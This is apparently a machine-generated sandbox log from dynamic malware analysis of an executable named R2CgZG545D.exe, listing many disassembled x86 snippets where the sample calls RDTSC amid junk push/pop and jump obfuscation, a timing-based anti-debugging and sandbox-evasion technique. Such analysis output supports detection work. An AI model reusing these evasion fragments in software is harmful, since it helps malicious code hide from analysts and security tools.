Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C492F6 second address: C49315 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F6144D93ADAh 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pushad 0x00000016 popad 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C49C72 second address: C49C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A490 second address: C4A496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A496 second address: C4A49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A634 second address: C4A648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6144D93AD6h 0x0000000a pop eax 0x0000000b pushad 0x0000000c jc 00007F6144D93AD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A648 second address: C4A64E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A64E second address: C4A65B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F6144D93AD6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A65B second address: C4A66D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F61453619D6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A8F3 second address: C4A8FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6144D93AD6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A8FF second address: C4A903 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A903 second address: C4A90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4A90D second address: C4A922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61453619E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1E049 second address: C1E054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1E054 second address: C1E058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1E058 second address: C1E05C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1E05C second address: C1E06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F61453619D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4EF64 second address: C4EF6E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4EF6E second address: C4EF90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F61453619D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F61453619E5h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C4EF90 second address: C4EFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F6144D93AD6h 0x00000010 jmp 00007F6144D93AE5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C51604 second address: C5160E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F61453619D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5160E second address: C51668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e push edx 0x0000000f jc 00007F6144D93AD6h 0x00000015 pop edx 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b push ecx 0x0000001c jne 00007F6144D93AD8h 0x00000022 pop ecx 0x00000023 mov eax, dword ptr [eax] 0x00000025 push ebx 0x00000026 jo 00007F6144D93AEFh 0x0000002c jmp 00007F6144D93AE9h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jno 00007F6144D93ADCh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C51668 second address: C5166E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C516EA second address: C516EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C516EE second address: C516F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C516F4 second address: C51711 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C51711 second address: C51715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C51715 second address: C51743 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F6144D93AE4h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F6144D93AD6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C51874 second address: C51878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C51878 second address: C5187C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1C43A second address: C1C43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1C43F second address: C1C487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F6144D93AE8h 0x0000000a jmp 00007F6144D93AE7h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F6144D93ADFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C1C487 second address: C1C48B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C580AE second address: C580C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6144D93AE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C580C5 second address: C580CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C580CD second address: C580D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C58211 second address: C5821C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5821C second address: C58220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C58220 second address: C5823F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F61453619E9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A3B6 second address: C5A3BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A41B second address: C5A41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A41F second address: C5A425 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A425 second address: C5A4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F61453619E1h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 107127F7h 0x00000012 pushad 0x00000013 call 00007F61453619E4h 0x00000018 or ecx, dword ptr [ebp+122D2678h] 0x0000001e pop edi 0x0000001f popad 0x00000020 cld 0x00000021 call 00007F61453619D9h 0x00000026 jmp 00007F61453619E5h 0x0000002b push eax 0x0000002c jnl 00007F61453619DAh 0x00000032 push edx 0x00000033 push edx 0x00000034 pop edx 0x00000035 pop edx 0x00000036 mov eax, dword ptr [esp+04h] 0x0000003a jc 00007F61453619E3h 0x00000040 jmp 00007F61453619DDh 0x00000045 mov eax, dword ptr [eax] 0x00000047 push edx 0x00000048 push esi 0x00000049 push esi 0x0000004a pop esi 0x0000004b pop esi 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push esi 0x00000055 pop esi 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A4B4 second address: C5A4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A4B9 second address: C5A4D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61453619E3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5A736 second address: C5A73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5B394 second address: C5B39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5B467 second address: C5B46B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5B5B3 second address: C5B5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5B5B9 second address: C5B5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5E1E3 second address: C5E1E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5DF2E second address: C5DF40 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6144D93AD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5DF40 second address: C5DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5DF44 second address: C5DF4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5DF4E second address: C5DF52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5ED39 second address: C5ED4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6144D93ADAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C5ED4D second address: C5ED57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C64130 second address: C64134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C64134 second address: C64156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F61453619E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C64BA4 second address: C64BAE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C64BAE second address: C64BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F61453619D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C65096 second address: C650F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 jo 00007F6144D93AE9h 0x0000000f jmp 00007F6144D93AE3h 0x00000014 pop ebx 0x00000015 nop 0x00000016 and ebx, 08C96A8Ah 0x0000001c push 00000000h 0x0000001e jmp 00007F6144D93ADBh 0x00000023 push 00000000h 0x00000025 ja 00007F6144D93ADEh 0x0000002b xchg eax, esi 0x0000002c push ebx 0x0000002d push edx 0x0000002e jmp 00007F6144D93ADFh 0x00000033 pop edx 0x00000034 pop ebx 0x00000035 push eax 0x00000036 push ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C65351 second address: C65361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61453619DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6705D second address: C67063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6637F second address: C66385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C65361 second address: C65365 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C67063 second address: C67067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C672D4 second address: C672E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6144D93ADEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C682C8 second address: C682CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C682CC second address: C682E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93AE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C683A7 second address: C683BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c js 00007F61453619D6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6A280 second address: C6A285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6A285 second address: C6A297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61453619DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C692D0 second address: C692D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C692D6 second address: C692DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C692DA second address: C692DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6B169 second address: C6B17E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6B17E second address: C6B182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6B182 second address: C6B1D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61453619E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov di, 67ABh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F61453619D8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+122D1DA5h], edx 0x00000031 sub dword ptr [ebp+122D25BDh], ebx 0x00000037 push 00000000h 0x00000039 xor edi, dword ptr [ebp+122D3A2Dh] 0x0000003f push eax 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C69380 second address: C69388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C69388 second address: C6938C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6A482 second address: C6A488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6C18F second address: C6C193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6C193 second address: C6C1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F6144D93AF8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6C1A4 second address: C6C1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6B400 second address: C6B404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6B404 second address: C6B40A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6B40A second address: C6B427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6144D93ADAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F6144D93AE2h 0x00000010 jp 00007F6144D93ADCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D1DB second address: C6D1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6D1DF second address: C6D1E9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6144D93AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6C3D8 second address: C6C3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6F011 second address: C6F015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\R2CgZG545D.exe	RDTSC instruction interceptor: First address: C6F015 second address: C6F087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d pop ecx 0x0000000e nop 0x0000000f jmp 00007F61453619E6h 0x00000014 sub di, 8555h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F61453619D8h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 push 00000000h 0x00000037 mov di, B415h 0x0000003b xchg eax, esi 0x0000003c ja 00007F61453619E1h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 jc 00007F61453619D6h 0x0000004c jo 00007F61453619D6h 0x00000052 popad 0x00000053 rdtsc
